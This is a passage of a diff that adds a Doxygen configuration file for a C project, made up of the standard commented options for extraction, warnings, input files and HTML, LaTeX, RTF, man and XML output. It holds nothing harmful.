+# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen 
+# will interpret the first line (until the first dot) of a JavaDoc-style 
+# comment as the brief description. If set to NO, the JavaDoc 
+# comments will behave just like the Qt-style comments (thus requiring an 
+# explicit @brief command for a brief description.
+
+JAVADOC_AUTOBRIEF      = NO
+
+# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen 
+# treat a multi-line C++ special comment block (i.e. a block of //! or /// 
+# comments) as a brief description. This used to be the default behaviour. 
+# The new default is to treat a multi-line C++ comment block as a detailed 
+# description. Set this tag to YES if you prefer the old behaviour instead.
+
+MULTILINE_CPP_IS_BRIEF = NO
+
+# If the DETAILS_AT_TOP tag is set to YES then Doxygen 
+# will output the detailed description near the top, like JavaDoc.
+# If set to NO, the detailed description appears after the member 
+# documentation.
+
+DETAILS_AT_TOP         = NO
+
+# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented 
+# member inherits the documentation from any documented member that it 
+# re-implements.
+
+INHERIT_DOCS           = YES
+
+# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC 
+# tag is set to YES, then doxygen will reuse the documentation of the first 
+# member in the group (if any) for the other members of the group. By default 
+# all members of a group must be documented explicitly.
+
+DISTRIBUTE_GROUP_DOC   = NO
+
+# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce 
+# a new page for each member. If set to NO, the documentation of a member will 
+# be part of the file/class/namespace that contains it.
+
+SEPARATE_MEMBER_PAGES  = NO
+
+# The TAB_SIZE tag can be used to set the number of spaces in a tab. 
+# Doxygen uses this value to replace tabs by spaces in code fragments.
+
+TAB_SIZE               = 8
+
+# This tag can be used to specify a number of aliases that acts 
+# as commands in the documentation. An alias has the form "name=value". 
+# For example adding "sideeffect=\par Side Effects:\n" will allow you to 
+# put the command \sideeffect (or @sideeffect) in the documentation, which 
+# will result in a user-defined paragraph with heading "Side Effects:". 
+# You can put \n's in the value part of an alias to insert newlines.
+
+ALIASES                = 
+
+# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C 
+# sources only. Doxygen will then generate output that is more tailored for C. 
+# For instance, some of the names that are used will be different. The list 
+# of all members will be omitted, etc.
+
+OPTIMIZE_OUTPUT_FOR_C  = NO
+
+# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java sources 
+# only. Doxygen will then generate output that is more tailored for Java. 
+# For instance, namespaces will be presented as packages, qualified scopes 
+# will look different, etc.
+
+OPTIMIZE_OUTPUT_JAVA   = NO
+
+# Set the SUBGROUPING tag to YES (the default) to allow class member groups of 
+# the same type (for instance a group of public functions) to be put as a 
+# subgroup of that type (e.g. under the Public Functions section). Set it to 
+# NO to prevent subgrouping. Alternatively, this can be done per class using 
+# the \nosubgrouping command.
+
+SUBGROUPING            = YES
+
+#---------------------------------------------------------------------------
+# Build related configuration options
+#---------------------------------------------------------------------------
+
+# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in 
+# documentation are documented, even if no documentation was available. 
+# Private class members and static file members will be hidden unless 
+# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
+
+EXTRACT_ALL            = NO
+
+# If the EXTRACT_PRIVATE tag is set to YES all private members of a class 
+# will be included in the documentation.
+
+EXTRACT_PRIVATE        = NO
+
+# If the EXTRACT_STATIC tag is set to YES all static members of a file 
+# will be included in the documentation.
+
+EXTRACT_STATIC         = NO
+
+# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) 
+# defined locally in source files will be included in the documentation. 
+# If set to NO only classes defined in header files are included.
+
+EXTRACT_LOCAL_CLASSES  = YES
+
+# This flag is only useful for Objective-C code. When set to YES local 
+# methods, which are defined in the implementation section but not in 
+# the interface are included in the documentation. 
+# If set to NO (the default) only methods in the interface are included.
+
+EXTRACT_LOCAL_METHODS  = NO
+
+# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all 
+# undocumented members of documented classes, files or namespaces. 
+# If set to NO (the default) these members will be included in the 
+# various overviews, but no documentation section is generated. 
+# This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_MEMBERS     = NO
+
+# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all 
+# undocumented classes that are normally visible in the class hierarchy. 
+# If set to NO (the default) these classes will be included in the various 
+# overviews. This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_CLASSES     = NO
+
+# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all 
+# friend (class|struct|union) declarations. 
+# If set to NO (the default) these declarations will be included in the 
+# documentation.
+
+HIDE_FRIEND_COMPOUNDS  = NO
+
+# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any 
+# documentation blocks found inside the body of a function. 
+# If set to NO (the default) these blocks will be appended to the 
+# function's detailed documentation block.
+
+HIDE_IN_BODY_DOCS      = NO
+
+# The INTERNAL_DOCS tag determines if documentation 
+# that is typed after a \internal command is included. If the tag is set 
+# to NO (the default) then the documentation will be excluded. 
+# Set it to YES to include the internal documentation.
+
+INTERNAL_DOCS          = NO
+
+# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate 
+# file names in lower-case letters. If set to YES upper-case letters are also 
+# allowed. This is useful if you have classes or files whose names only differ 
+# in case and if your file system supports case sensitive file names. Windows 
+# and Mac users are advised to set this option to NO.
+
+CASE_SENSE_NAMES       = YES
+
+# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen 
+# will show members with their full class and namespace scopes in the 
+# documentation. If set to YES the scope will be hidden.
+
+HIDE_SCOPE_NAMES       = NO
+
+# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen 
+# will put a list of the files that are included by a file in the documentation 
+# of that file.
+
+SHOW_INCLUDE_FILES     = YES
+
+# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] 
+# is inserted in the documentation for inline members.
+
+INLINE_INFO            = YES
+
+# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen 
+# will sort the (detailed) documentation of file and class members 
+# alphabetically by member name. If set to NO the members will appear in 
+# declaration order.
+
+SORT_MEMBER_DOCS       = YES
+
+# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the 
+# brief documentation of file, namespace and class members alphabetically 
+# by member name. If set to NO (the default) the members will appear in 
+# declaration order.
+
+SORT_BRIEF_DOCS        = NO
+
+# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be 
+# sorted by fully-qualified names, including namespaces. If set to 
+# NO (the default), the class list will be sorted only by class name, 
+# not including the namespace part. 
+# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES.
+# Note: This option applies only to the class list, not to the 
+# alphabetical list.
+
+SORT_BY_SCOPE_NAME     = NO
+
+# The GENERATE_TODOLIST tag can be used to enable (YES) or 
+# disable (NO) the todo list. This list is created by putting \todo 
+# commands in the documentation.
+
+GENERATE_TODOLIST      = YES
+
+# The GENERATE_TESTLIST tag can be used to enable (YES) or 
+# disable (NO) the test list. This list is created by putting \test 
+# commands in the documentation.
+
+GENERATE_TESTLIST      = YES
+
+# The GENERATE_BUGLIST tag can be used to enable (YES) or 
+# disable (NO) the bug list. This list is created by putting \bug 
+# commands in the documentation.
+
+GENERATE_BUGLIST       = YES
+
+# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or 
+# disable (NO) the deprecated list. This list is created by putting 
+# \deprecated commands in the documentation.
+
+GENERATE_DEPRECATEDLIST= YES
+
+# The ENABLED_SECTIONS tag can be used to enable conditional 
+# documentation sections, marked by \if sectionname ... \endif.
+
+ENABLED_SECTIONS       = 
+
+# The MAX_INITIALIZER_LINES tag determines the maximum number of lines 
+# the initial value of a variable or define consists of for it to appear in 
+# the documentation. If the initializer consists of more lines than specified 
+# here it will be hidden. Use a value of 0 to hide initializers completely. 
+# The appearance of the initializer of individual variables and defines in the 
+# documentation can be controlled using \showinitializer or \hideinitializer 
+# command in the documentation regardless of this setting.
+
+MAX_INITIALIZER_LINES  = 30
+
+# Set the SHOW_USED_FILES tag to NO to disable the list of files generated 
+# at the bottom of the documentation of classes and structs. If set to YES the 
+# list will mention the files that were used to generate the documentation.
+
+SHOW_USED_FILES        = YES
+
+# If the sources in your project are distributed over multiple directories 
+# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy 
+# in the documentation. The default is YES.
+
+SHOW_DIRECTORIES       = YES
+
+# The FILE_VERSION_FILTER tag can be used to specify a program or script that 
+# doxygen should invoke to get the current version for each file (typically from the 
+# version control system). Doxygen will invoke the program by executing (via 
+# popen()) the command <command> <input-file>, where <command> is the value of 
+# the FILE_VERSION_FILTER tag, and <input-file> is the name of an input file 
+# provided by doxygen. Whatever the progam writes to standard output 
+# is used as the file version. See the manual for examples.
+
+FILE_VERSION_FILTER    = 
+
+#---------------------------------------------------------------------------
+# configuration options related to warning and progress messages
+#---------------------------------------------------------------------------
+
+# The QUIET tag can be used to turn on/off the messages that are generated 
+# by doxygen. Possible values are YES and NO. If left blank NO is used.
+
+QUIET                  = NO
+
+# The WARNINGS tag can be used to turn on/off the warning messages that are 
+# generated by doxygen. Possible values are YES and NO. If left blank 
+# NO is used.
+
+WARNINGS               = YES
+
+# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings 
+# for undocumented members. If EXTRACT_ALL is set to YES then this flag will 
+# automatically be disabled.
+
+WARN_IF_UNDOCUMENTED   = YES
+
+# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for 
+# potential errors in the documentation, such as not documenting some 
+# parameters in a documented function, or documenting parameters that 
+# don't exist or using markup commands wrongly.
+
+WARN_IF_DOC_ERROR      = YES
+
+# This WARN_NO_PARAMDOC option can be abled to get warnings for 
+# functions that are documented, but have no documentation for their parameters 
+# or return value. If set to NO (the default) doxygen will only warn about 
+# wrong or incomplete parameter documentation, but not about the absence of 
+# documentation.
+
+WARN_NO_PARAMDOC       = NO
+
+# The WARN_FORMAT tag determines the format of the warning messages that 
+# doxygen can produce. The string should contain the $file, $line, and $text 
+# tags, which will be replaced by the file and line number from which the 
+# warning originated and the warning text. Optionally the format may contain 
+# $version, which will be replaced by the version of the file (if it could 
+# be obtained via FILE_VERSION_FILTER)
+
+WARN_FORMAT            = 
+
+# The WARN_LOGFILE tag can be used to specify a file to which warning 
+# and error messages should be written. If left blank the output is written 
+# to stderr.
+
+WARN_LOGFILE           = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the input files
+#---------------------------------------------------------------------------
+
+# The INPUT tag can be used to specify the files and/or directories that contain 
+# documented source files. You may enter file names like "myfile.cpp" or 
+# directories like "/usr/src/myproject". Separate the files or directories 
+# with spaces.
+
+INPUT                  = ..
+
+# If the value of the INPUT tag contains directories, you can use the 
+# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp 
+# and *.h) to filter out the source-files in the directories. If left 
+# blank the following patterns are tested: 
+# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx 
+# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm
+
+FILE_PATTERNS          = *.c \
+                         *.h
+
+# The RECURSIVE tag can be used to turn specify whether or not subdirectories 
+# should be searched for input files as well. Possible values are YES and NO. 
+# If left blank NO is used.
+
+RECURSIVE              = YES
+
+# The EXCLUDE tag can be used to specify files and/or directories that should 
+# excluded from the INPUT source files. This way you can easily exclude a 
+# subdirectory from a directory tree whose root is specified with the INPUT tag.
+
+EXCLUDE                = 
+
+# The EXCLUDE_SYMLINKS tag can be used select whether or not files or 
+# directories that are symbolic links (a Unix filesystem feature) are excluded 
+# from the input.
+
+EXCLUDE_SYMLINKS       = NO
+
+# If the value of the INPUT tag contains directories, you can use the 
+# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude 
+# certain files from those directories. Note that the wildcards are matched 
+# against the file with absolute path, so to exclude all test directories 
+# for example use the pattern */test/*
+
+EXCLUDE_PATTERNS       = 
+
+# The EXAMPLE_PATH tag can be used to specify one or more files or 
+# directories that contain example code fragments that are included (see 
+# the \include command).
+
+EXAMPLE_PATH           = 
+
+# If the value of the EXAMPLE_PATH tag contains directories, you can use the 
+# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp 
+# and *.h) to filter out the source-files in the directories. If left 
+# blank all files are included.
+
+EXAMPLE_PATTERNS       = 
+
+# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be 
+# searched for input files to be used with the \include or \dontinclude 
+# commands irrespective of the value of the RECURSIVE tag. 
+# Possible values are YES and NO. If left blank NO is used.
+
+EXAMPLE_RECURSIVE      = NO
+
+# The IMAGE_PATH tag can be used to specify one or more files or 
+# directories that contain image that are included in the documentation (see 
+# the \image command).
+
+IMAGE_PATH             = 
+
+# The INPUT_FILTER tag can be used to specify a program that doxygen should 
+# invoke to filter for each input file. Doxygen will invoke the filter program 
+# by executing (via popen()) the command <filter> <input-file>, where <filter> 
+# is the value of the INPUT_FILTER tag, and <input-file> is the name of an 
+# input file. Doxygen will then use the output that the filter program writes 
+# to standard output.  If FILTER_PATTERNS is specified, this tag will be 
+# ignored.
+
+INPUT_FILTER           = 
+
+# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern 
+# basis.  Doxygen will compare the file name with each pattern and apply the 
+# filter if there is a match.  The filters are a list of the form: 
+# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further 
+# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER 
+# is applied to all files.
+
+FILTER_PATTERNS        = 
+
+# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using 
+# INPUT_FILTER) will be used to filter the input files when producing source 
+# files to browse (i.e. when SOURCE_BROWSER is set to YES).
+
+FILTER_SOURCE_FILES    = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to source browsing
+#---------------------------------------------------------------------------
+
+# If the SOURCE_BROWSER tag is set to YES then a list of source files will 
+# be generated. Documented entities will be cross-referenced with these sources. 
+# Note: To get rid of all source code in the generated output, make sure also 
+# VERBATIM_HEADERS is set to NO.
+
+SOURCE_BROWSER         = NO
+
+# Setting the INLINE_SOURCES tag to YES will include the body 
+# of functions and classes directly in the documentation.
+
+INLINE_SOURCES         = NO
+
+# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct 
+# doxygen to hide any special comment blocks from generated source code 
+# fragments. Normal C and C++ comments will always remain visible.
+
+STRIP_CODE_COMMENTS    = NO
+
+# If the REFERENCED_BY_RELATION tag is set to YES (the default) 
+# then for each documented function all documented 
+# functions referencing it will be listed.
+
+REFERENCED_BY_RELATION = YES
+
+# If the REFERENCES_RELATION tag is set to YES (the default) 
+# then for each documented function all documented entities 
+# called/used by that function will be listed.
+
+REFERENCES_RELATION    = YES
+
+# If the USE_HTAGS tag is set to YES then the references to source code 
+# will point to the HTML generated by the htags(1) tool instead of doxygen 
+# built-in source browser. The htags tool is part of GNU's global source 
+# tagging system (see http://www.gnu.org/software/global/global.html). You 
+# will need version 4.8.6 or higher.
+
+USE_HTAGS              = NO
+
+# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen 
+# will generate a verbatim copy of the header file for each class for 
+# which an include is specified. Set to NO to disable this.
+
+VERBATIM_HEADERS       = YES
+
+#---------------------------------------------------------------------------
+# configuration options related to the alphabetical class index
+#---------------------------------------------------------------------------
+
+# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index 
+# of all compounds will be generated. Enable this if the project 
+# contains a lot of classes, structs, unions or interfaces.
+
+ALPHABETICAL_INDEX     = YES
+
+# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then 
+# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns 
+# in which this list will be split (can be a number in the range [1..20])
+
+COLS_IN_ALPHA_INDEX    = 2
+
+# In case all classes in a project start with a common prefix, all 
+# classes will be put under the same header in the alphabetical index. 
+# The IGNORE_PREFIX tag can be used to specify one or more prefixes that 
+# should be ignored while generating the index headers.
+
+IGNORE_PREFIX          = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the HTML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_HTML tag is set to YES (the default) Doxygen will 
+# generate HTML output.
+
+GENERATE_HTML          = YES
+
+# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `html' will be used as the default path.
+
+HTML_OUTPUT            = 
+
+# The HTML_FILE_EXTENSION tag can be used to specify the file extension for 
+# each generated HTML page (for example: .htm,.php,.asp). If it is left blank 
+# doxygen will generate files with .html extension.
+
+HTML_FILE_EXTENSION    = .html
+
+# The HTML_HEADER tag can be used to specify a personal HTML header for 
+# each generated HTML page. If it is left blank doxygen will generate a 
+# standard header.
+
+HTML_HEADER            = 
+
+# The HTML_FOOTER tag can be used to specify a personal HTML footer for 
+# each generated HTML page. If it is left blank doxygen will generate a 
+# standard footer.
+
+HTML_FOOTER            = 
+
+# The HTML_STYLESHEET tag can be used to specify a user-defined cascading 
+# style sheet that is used by each HTML page. It can be used to 
+# fine-tune the look of the HTML output. If the tag is left blank doxygen 
+# will generate a default style sheet. Note that doxygen will try to copy 
+# the style sheet file to the HTML output directory, so don't put your own 
+# stylesheet in the HTML output directory as well, or it will be erased!
+
+HTML_STYLESHEET        = css.css
+
+# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, 
+# files or namespaces will be aligned in HTML using tables. If set to 
+# NO a bullet list will be used.
+
+HTML_ALIGN_MEMBERS     = YES
+
+# If the GENERATE_HTMLHELP tag is set to YES, additional index files 
+# will be generated that can be used as input for tools like the 
+# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) 
+# of the generated HTML documentation.
+
+GENERATE_HTMLHELP      = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can 
+# be used to specify the file name of the resulting .chm file. You 
+# can add a path in front of the file if the result should not be 
+# written to the html output directory.
+
+CHM_FILE               = 
+
+# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can 
+# be used to specify the location (absolute path including file name) of 
+# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run 
+# the HTML help compiler on the generated index.hhp.
+
+HHC_LOCATION           = 
+
+# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag 
+# controls if a separate .chi index file is generated (YES) or that 
+# it should be included in the master .chm file (NO).
+
+GENERATE_CHI           = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag 
+# controls whether a binary table of contents is generated (YES) or a 
+# normal table of contents (NO) in the .chm file.
+
+BINARY_TOC             = NO
+
+# The TOC_EXPAND flag can be set to YES to add extra items for group members 
+# to the contents of the HTML help documentation and to the tree view.
+
+TOC_EXPAND             = NO
+
+# The DISABLE_INDEX tag can be used to turn on/off the condensed index at 
+# top of each HTML page. The value NO (the default) enables the index and 
+# the value YES disables it.
+
+DISABLE_INDEX          = NO
+
+# This tag can be used to set the number of enum values (range [1..20]) 
+# that doxygen will group on one line in the generated HTML documentation.
+
+ENUM_VALUES_PER_LINE   = 4
+
+# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be
+# generated containing a tree-like index structure (just like the one that 
+# is generated for HTML Help). For this to work a browser that supports 
+# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, 
+# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are 
+# probably better off using the HTML help feature.
+
+GENERATE_TREEVIEW      = YES
+
+# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be 
+# used to set the initial width (in pixels) of the frame in which the tree 
+# is shown.
+
+TREEVIEW_WIDTH         = 250
+
+#---------------------------------------------------------------------------
+# configuration options related to the LaTeX output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will 
+# generate Latex output.
+
+GENERATE_LATEX         = NO
+
+# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `latex' will be used as the default path.
+
+LATEX_OUTPUT           = 
+
+# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be 
+# invoked. If left blank `latex' will be used as the default command name.
+
+LATEX_CMD_NAME         = latex
+
+# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to 
+# generate index for LaTeX. If left blank `makeindex' will be used as the 
+# default command name.
+
+MAKEINDEX_CMD_NAME     = makeindex
+
+# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact 
+# LaTeX documents. This may be useful for small projects and may help to 
+# save some trees in general.
+
+COMPACT_LATEX          = NO
+
+# The PAPER_TYPE tag can be used to set the paper type that is used 
+# by the printer. Possible values are: a4, a4wide, letter, legal and 
+# executive. If left blank a4wide will be used.
+
+PAPER_TYPE             = a4wide
+
+# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX 
+# packages that should be included in the LaTeX output.
+
+EXTRA_PACKAGES         = 
+
+# The LATEX_HEADER tag can be used to specify a personal LaTeX header for 
+# the generated latex document. The header should contain everything until 
+# the first chapter. If it is left blank doxygen will generate a 
+# standard header. Notice: only use this tag if you know what you are doing!
+
+LATEX_HEADER           = 
+
+# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated 
+# is prepared for conversion to pdf (using ps2pdf). The pdf file will 
+# contain links (just like the HTML output) instead of page references 
+# This makes the output suitable for online browsing using a pdf viewer.
+
+PDF_HYPERLINKS         = NO
+
+# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of 
+# plain latex in the generated Makefile. Set this option to YES to get a 
+# higher quality PDF documentation.
+
+USE_PDFLATEX           = NO
+
+# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. 
+# command to the generated LaTeX files. This will instruct LaTeX to keep 
+# running if errors occur, instead of asking the user for help. 
+# This option is also used when generating formulas in HTML.
+
+LATEX_BATCHMODE        = NO
+
+# If LATEX_HIDE_INDICES is set to YES then doxygen will not 
+# include the index chapters (such as File Index, Compound Index, etc.) 
+# in the output.
+
+LATEX_HIDE_INDICES     = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the RTF output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output 
+# The RTF output is optimized for Word 97 and may not look very pretty with 
+# other RTF readers or editors.
+
+GENERATE_RTF           = NO
+
+# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `rtf' will be used as the default path.
+
+RTF_OUTPUT             = 
+
+# If the COMPACT_RTF tag is set to YES Doxygen generates more compact 
+# RTF documents. This may be useful for small projects and may help to 
+# save some trees in general.
+
+COMPACT_RTF            = NO
+
+# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated 
+# will contain hyperlink fields. The RTF file will 
+# contain links (just like the HTML output) instead of page references. 
+# This makes the output suitable for online browsing using WORD or other 
+# programs which support those fields. 
+# Note: wordpad (write) and others do not support links.
+
+RTF_HYPERLINKS         = NO
+
+# Load stylesheet definitions from file. Syntax is similar to doxygen's 
+# config file, i.e. a series of assignments. You only have to provide 
+# replacements, missing definitions are set to their default value.
+
+RTF_STYLESHEET_FILE    = 
+
+# Set optional variables used in the generation of an rtf document. 
+# Syntax is similar to doxygen's config file.
+
+RTF_EXTENSIONS_FILE    = 
+
+#---------------------------------------------------------------------------
+# configuration options related to the man page output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_MAN tag is set to YES (the default) Doxygen will 
+# generate man pages
+
+GENERATE_MAN           = NO
+
+# The MAN_OUTPUT tag is used to specify where the man pages will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `man' will be used as the default path.
+
+MAN_OUTPUT             = 
+
+# The MAN_EXTENSION tag determines the extension that is added to 
+# the generated man pages (default is the subroutine's section .3)
+
+MAN_EXTENSION          = 
+
+# If the MAN_LINKS tag is set to YES and Doxygen generates man output, 
+# then it will generate one additional man file for each entity 
+# documented in the real man page(s). These additional files 
+# only source the real man page, but without them the man command 
+# would be unable to find the correct page. The default is NO.
+
+MAN_LINKS              = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the XML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_XML tag is set to YES Doxygen will 
+# generate an XML file that captures the structure of 
+# the code including all documentation.
+
+GENERATE_XML           = NO
+
+# The XML_OUTPUT tag is used to specify where the XML pages will be put. 
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be 
+# put in front of it. If left blank `xml' will be used as the default path.
+
+XML_OUTPUT             = xml
+
+# The XML_SCHEMA tag can be used to specify an XML schema, 
+# which can be used by a validating XML parser to check the 
+# syntax of the XML files.
+
+XML_SCHEMA             = 
+
+# The XML_DTD tag can be used to specify an XML DTD, 
+# which can be used by a validating XML parser to check the 
+# syntax of the XML files.
+
+XML_DTD                = 
+
+# If the XML_PROGRAMLISTING tag is set to YES Doxygen will 
+# dump the program listings (including syntax highlighting 
+# and cross-referencing information) to the XML output. Note that 
+# enabling this will significantly increase the size of the XML output.
+
+XML_PROGRAMLISTING     = YES
+
+#---------------------------------------------------------------------------
+# configuration options for the AutoGen Definitions output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will 
+# generate an AutoGen Definitions (see autogen.sf.net) file 
+# that captures the structure of the code including all 
+# documentation. Note that this feature is still experimental 
+# and incomplete at the moment.
+
+GENERATE_AUTOGEN_DEF   = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to the Perl module output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_PERLMOD tag is set to YES Doxygen will 
+# generate a Perl module file that captures the structure of 
+# the code including all documentation. Note that this 
+# feature is still experimental and incomplete at the 
+# moment.
+
+GENERATE_PERLMOD       = NO
+
+# If the PERLMOD_LATEX tag is set to YES Doxygen will generate 
+# the necessary Makefile rules, Perl scripts and LaTeX code to be able 
+# to generate PDF and DVI output from the Perl module output.
+
+PERLMOD_LATEX          = NO
+
+# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be 
+# nicely formatted so it can be parsed by a human reader.  This is useful 
+# if you want to understand what is going on.  On the other hand, if this 
+# tag is set to NO the size of the Perl module output will be much smaller 
+# and Perl will parse it just the same.
+
+PERLMOD_PRETTY         = YES
+
+# The names of the make variables in the generated doxyrules.make file 
+# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. 
+# This is useful so different doxyrules.make files included by the same 
+# Makefile don't overwrite each other's variables.
+
+PERLMOD_MAKEVAR_PREFIX = 
+
+#---------------------------------------------------------------------------
+# Configuration options related to the preprocessor   
+#---------------------------------------------------------------------------
+
+# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will 
+# evaluate all C-preprocessor directives found in the sources and include 
+# files.
+
+ENABLE_PREPROCESSING   = YES
+
+# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro 
+# names in the source code. If set to NO (the default) only conditional 
+# compilation will be performed. Macro expansion can be done in a controlled 
+# way by setting EXPAND_ONLY_PREDEF to YES.
+
+MACRO_EXPANSION        = NO
+
+# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES 
+# then the macro expansion is limited to the macros specified with the 
+# PREDEFINED and EXPAND_AS_PREDEFINED tags.
+
+EXPAND_ONLY_PREDEF     = NO
+
+# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files 
+# in the INCLUDE_PATH (see below) will be search if a #include is found.
+
+SEARCH_INCLUDES        = YES
+
+# The INCLUDE_PATH tag can be used to specify one or more directories that 
+# contain include files that are not input files but should be processed by 
+# the preprocessor.
+
+INCLUDE_PATH           = 
+
+# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard 
+# patterns (like *.h and *.hpp) to filter out the header-files in the 
+# directories. If left blank, the patterns specified with FILE_PATTERNS will 
+# be used.
+
+INCLUDE_FILE_PATTERNS  = 
+
+# The PREDEFINED tag can be used to specify one or more macro names that 
+# are defined before the preprocessor is started (similar to the -D option of 
+# gcc). The argument of the tag is a list of macros of the form: name 
+# or name=definition (no spaces). If the definition and the = are 
+# omitted =1 is assumed. To prevent a macro definition from being 
+# undefined via #undef or recursively expanded use the := operator 
+# instead of the = operator.
+
+PREDEFINED             = 
+
+# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then 
+# this tag can be used to specify a list of macro names that should be expanded. 
+# The macro definition that is found in the sources will be used. 
+# Use the PREDEFINED tag if you want to use a different macro definition.
+
+EXPAND_AS_DEFINED      = 
+
+# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then 
+# doxygen's preprocessor will remove all function-like macros that are alone 
+# on a line, have an all uppercase name, and do not end with a semicolon. Such 
+# function macros are typically used for boiler-plate code, and will confuse 
+# the parser if not removed.
+
+SKIP_FUNCTION_MACROS   = YES
+
+#---------------------------------------------------------------------------
+# Configuration::additions related to external references   
+#---------------------------------------------------------------------------
+
+# The TAGFILES option can be used to specify one or more tagfiles. 
+# Optionally an initial location of the external documentation 
+# can be added for each tagfile. The format of a tag file without 
+# this location is as follows: 
+#   TAGFILES = file1 file2 ... 
+# Adding location for the tag files is done as follows: 
+#   TAGFILES = file1=loc1 "file2 = loc2" ... 
+# where "loc1" and "loc2" can be relative or absolute paths or 
+# URLs. If a location is present for each tag, the installdox tool 
+# does not have to be run to correct the links.
+# Note that each tag file must have a unique name
+# (where the name does NOT include the path)
+# If a tag file is not located in the directory in which doxygen 
+# is run, you must also specify the path to the tagfile here.
+
+TAGFILES               = 
+
+# When a file name is specified after GENERATE_TAGFILE, doxygen will create 
